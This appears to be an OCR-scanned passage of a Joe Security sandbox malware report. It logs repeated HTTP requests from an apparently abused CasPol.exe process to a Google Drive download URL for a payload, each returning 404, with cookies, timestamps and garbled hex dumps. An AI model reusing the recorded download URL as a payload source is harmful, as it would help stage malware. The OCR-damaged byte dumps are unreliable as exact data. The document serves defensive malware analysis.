Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-5erZKkxNzor9dwMCLfG28g' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:12 GMT

Expires: Wed, 24 Nov 2021 10:55:12 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:41 UTC 12

2021-11-24 10:54:41 UTC 12

2021-11-24 10:54:41 UTC 13

2021-11-24 10:54:41 UTC 13

Session ID Source IP

80 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:12 UTC 120

2021-11-24 10:55:12 UTC 120

2021-11-24 10:55:12 UTC 121

2021-11-24 10:55:12 UTC 121

Session ID Source IP
81 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49903

Direction

ouT

Source Port

49904

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-+A6gT3/0UJ4PMESEpJQVOQ' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:41 GMT

Expires: Wed, 24 Nov 2021 10:54:41 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-0BIOCLPKE210JZJ6Rrd12w' 'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:12 GMT

Expires: Wed, 24 Nov 2021 10:55:12 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:12 UTC 121

2021-11-24 10:55:13 UTC 121

2021-11-24 10:55:13 UTC 122

2021-11-24 10:55:13 UTC 122

Session ID Source IP

82 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:13 UTC 122

2021-11-24 10:55:13 UTC 123

2021-11-24 10:55:13 UTC 124

2021-11-24 10:55:13 UTC 124

Session ID Source IP
83 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49905

Direction

ouTt

Source Port

49906

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-BrTDQ+nDCn0x2Y2qPYyXSA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:13 GMT

Expires: Wed, 24 Nov 2021 10:55:13 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_I9ocaq","max_age":2592000, "endpoints”:[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-uvGCdW5MI1H8kVoXJs7mow' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:13 GMT

Expires: Wed, 24 Nov 2021 10:55:13 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:13 UTC 124

2021-11-24 10:55:13 UTC 124

2021-11-24 10:55:13 UTC 125

2021-11-24 10:55:13 UTC 125

Session ID Source IP

84 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:14 UTC 125

2021-11-24 10:55:14 UTC 126

2021-11-24 10:55:14 UTC 127

2021-11-24 10:55:14 UTC 127

Session ID Source IP
85 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49907

Direction

ouTt

Source Port

49908

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-DCpucnvoM+VjTaQYU8wqJg' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:13 GMT

Expires: Wed, 24 Nov 2021 10:55:13 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_I9ocaq","max_age":2592000, "endpoints”:[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src ‘nonce-hzebVZiK3vXguG8W1ZVfrA' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:14 GMT

Expires: Wed, 24 Nov 2021 10:55:14 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:14 UTC 127

2021-11-24 10:55:14 UTC 127

2021-11-24 10:55:14 UTC 128

2021-11-24 10:55:14 UTC 128

Session ID Source IP

86 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:14 UTC 128

2021-11-24 10:55:15 UTC 129

2021-11-24 10:55:15 UTC 130

2021-11-24 10:55:15 UTC 130

Session ID Source IP
87 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49909

Direction

ouTt

Source Port

49910

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-0uc4OHylgJ5Ft+ZGTukp/A' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:14 GMT

Expires: Wed, 24 Nov 2021 10:55:14 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-gNJK2Mpsd4w/IrunoGVEVA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:15 GMT

Expires: Wed, 24 Nov 2021 10:55:15 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:15 UTC 130

2021-11-24 10:55:15 UTC 130

2021-11-24 10:55:15 UTC 131

2021-11-24 10:55:15 UTC 131

Session ID Source IP

88 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:15 UTC 131

2021-11-24 10:55:15 UTC 132

2021-11-24 10:55:15 UTC 133

2021-11-24 10:55:15 UTC 133

Session ID Source IP
89 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49911

Direction

